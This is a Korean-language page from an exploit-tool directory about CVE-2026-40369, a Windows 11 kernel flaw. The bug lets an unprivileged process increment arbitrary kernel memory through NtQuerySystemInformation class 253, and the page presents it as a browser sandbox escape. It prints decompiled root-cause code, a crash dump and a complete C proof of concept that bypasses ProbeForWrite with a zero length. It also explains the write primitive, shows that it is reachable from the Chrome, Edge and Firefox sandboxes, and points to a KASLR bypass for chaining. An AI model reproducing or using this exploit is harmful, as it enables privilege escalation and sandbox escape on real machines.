Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40369-EXPLOIT — CVE-2026-40369에 대한 전체 익스플로잇 코드 - 모든 브라우저의 렌더러 프로세스 샌드박스에서 탈출할 수 있게 해주는 Windows 커널 임의 쓰기 취약점 | Kitploit
도구/GitHubGitHub/orinimron123/cve-2026-40369-exploit
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHuborinimron123/cve-2026-40369-exploit

CVE-2026-40369-EXPLOIT

CVE-2026-40369에 대한 전체 익스플로잇 코드 - 모든 브라우저의 렌더러 프로세스 샌드박스에서 탈출할 수 있게 해주는 Windows 커널 임의 쓰기 취약점

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
2605843개월 전Kitploit 검토 완료

전체 블로그 - https://pwn2nimron.com/blog

CVE-2026-40369: NtQuerySystemInformation(클래스 253)을 통한 임의 커널 주소 증가

요약

  • 유형: 임의 커널 쓰기(증가) — 권한 상승 프리미티브
  • 구성 요소: ntoskrnl.exe — ExpGetProcessInformation
  • 트리거: NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)
  • 영향: 권한 없는 프로세스에서 임의 커널 주소 증가(쓰기 프리미티브)
  • Chrome 샌드박스에서 도달 가능: YES (NtQuerySystemInformation은 차단되지 않음)
  • Windows 버전: Windows 11 24H2-25H2
  • 익스플로잇 신뢰성 100% 결정적
  • KASLR 우회는 prefetch 도구와 함께 체이닝 가능 https://github.com/exploits-forsale/prefetch-tool

근본 원인

ExpGetProcessInformation는 info 클래스 5(SystemProcessInformation), 0x39, 0x94, 0xFC, **0xFD(253 = SystemProcessInformationExtension)**에 대해 ExpQuerySystemInformation에 의해 호출됩니다.

호출 지점은 ExpQuerySystemInformation+0xD7A에 있습니다:

root@kitploit:~
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);

userBuffer가 커널을 가리킬 때(예: 필요한 버퍼 크기를 알아보기 위한 프로브), 함수는 다음 경로로 들어갑니다:

root@kitploit:~
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
    v91 = buffer;  // = NULL

    if (infoClass == 252) {
        v86 = v91;  // class 252 uses v86
        // ...
    } else {
        v86 = NULL;
        if (infoClass == 253) {
            v95 = v91;  // v95 = NULL (BUG: sanitization for kernel address check!)
            goto LABEL_11;
        }
        // class 5 path - uses v81, doesn't touch v95
    }
    v95 = NULL;  // class 252 path falls through here

LABEL_11:
    // ... process iteration loop ...
    while (NextProcess) {
        if (infoClass == 253) {
            ++*v95;          // CRASH: v95 is Arbitrary Kernel Address
            v95[1] += ...;   // Would also crash
            v95[2] += ...;   // Would also crash
        }
        // class 5/252 paths handle NULL buffer correctly
    }
}

클래스 253의 경우 v95는 NULL 검사 없이 버퍼 포인터(v91 = buffer = NULL)로 설정됩니다. 그런 다음 프로세스 반복 루프가 *v95 위치의 카운터를 증가시키려고 시도하여 커널 모드에서 NULL 포인터 역참조를 유발합니다 → BSOD.

클래스 5와 252는 서로 다른 변수(v81/v86)를 사용하고 역참조 전에 적절한 검사를 수행하므로 NULL 버퍼를 올바르게 처리합니다.

크래시 상세 정보

root@kitploit:~
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff800041424344, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
	bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the processor decided the fault was due to a corrupted PTE.
	bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
	- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
	bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 0000000000000002, (reserved)

IP_IN_PAGED_CODE: 
nt!ExpGetProcessInformation+42e
fffff803`a06db22e ff03            inc     dword ptr [rbx]

STACK_TEXT:  
*** WARNING: Unable to verify checksum for poc.exe
Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
ffffd380`d4dc52f8 fffff803`a01b2d82     : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
ffffd380`d4dc5300 fffff803`a01b22ac     : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffd380`d4dc5360 fffff803`a00fba97     : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffd380`d4dc5af0 fffff803`9fe29dc0     : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
ffffd380`d4dc5b30 fffff803`9fe16d96     : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffffd380`d4dc5c20 fffff803`a02b9ecb     : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
ffffd380`d4dc5d90 fffff803`a06db22e     : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
ffffd380`d4dc5f20 fffff803`a06dcfbf     : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
ffffd380`d4dc6540 fffff803`a06e1061     : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
ffffd380`d4dc6aa0 fffff803`a02be355     : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
ffffd380`d4dc6ae0 00007ffd`5bc82154     : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
000000e8`7679faf8 00007ff6`f01c10ef     : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
000000e8`7679fb00 00007ff6`f01c1374     : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
000000e8`7679fb30 00007ffd`5a5ae8d7     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
000000e8`7679fb70 00007ffd`5bbac48c     : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
000000e8`7679fba0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c

재현

최소 재현 코드 (권한 없는 상태, 특수 토큰 불필요):

root@kitploit:~
/**
 * poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
 *
 * Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
 * Passes a kernel address as the output buffer with Length=0, causing
 * ExpGetProcessInformation to increment DWORDs at the target address
 * without validation.
 *
 * Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
 */

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef long NTSTATUS;

#define SystemProcessInformationExtension 253

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

int main(void)
{
    PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");

    if (!pNtQSI) {
        printf("[-] Failed to resolve NtQuerySystemInformation\n");
        return 1;
    }

    PVOID target = (PVOID)0xffff800041424344ULL;

    printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
    printf("[*] Target kernel address: %p\n", target);
    printf("[*] Will write:\n");
    printf("      [target+0] += num_processes  (DWORD increment)\n");
    printf("      [target+4] += total_threads  (DWORD add)\n");
    printf("      [target+8] += total_handles  (DWORD add)\n");
    printf("\n");
    printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
    printf("[*] Press Enter to trigger...\n");
    getchar();

    ULONG needed = 0;
    NTSTATUS status = pNtQSI(
        SystemProcessInformationExtension,
        target,   /* kernel address — ProbeForWrite skipped because Length=0 */
        0,        /* Length=0 bypasses ProbeForWrite entirely */
        &needed
    );

    printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
    printf("[*] Required length: %lu\n", needed);
    printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");

    return 0;
}

익스플로잇 가능성 평가 — 임의 커널 쓰기

ProbeForWrite 우회

ExpQuerySystemInformation는 디스패치 전에 ProbeForWrite(buffer, Length, alignment)를 호출합니다. Length=0인 ProbeForWrite는 완전한 NO-OP입니다 — 함수 본문 전체가 if (Length)에 의해 실행이 결정됩니다.

따라서 NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed)는 검증되지 않은 커널 포인터를 ExpGetProcessInformation에 전달합니다.

쓰기 프리미티브

시스템의 각 프로세스에 대해 함수는 다음을 실행합니다:

root@kitploit:~
v95 = userBuffer;  // attacker-controlled pointer, NOT validated for class 253 with Length=0

// For EACH process:
++*v95;              // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count

결과는 다음과 같습니다:

  • addr+0: 프로세스당 1씩 증가 → 총합 = 시스템의 프로세스 수
  • addr+4: 모든 프로세스 스레드 수의 합
  • addr+8: 모든 프로세스 핸들 수의 합

LENGTH=0임에도 쓰기가 발생하는 이유

ExpGetProcessInformation는 if (length < 12)를 확인하고 STATUS_INFO_LENGTH_MISMATCH를 설정하지만 조기 반환하지 않습니다. 오류 상태를 저장한 뒤 프로세스 반복 루프로 계속 진행하여 모든 프로세스에 대해 v95에 쓰기를 실행한 후 마지막에 오류 상태를 반환합니다.

Chrome 샌드박스, Edge, Firefox에서 동작

완전히 도달 가능:

  • NtQuerySystemInformation은 win32k lockdown에 의해 차단되지 않음
  • 제한된 토큰(restricted token)은 이 syscall을 막지 못함
  • 신뢰할 수 없는 무결성 수준(Untrusted integrity level)도 이 syscall을 막지 못함

alt text

크레딧

발견 및 작성: Ori Nimron (@orinimron123)

도구 다운로드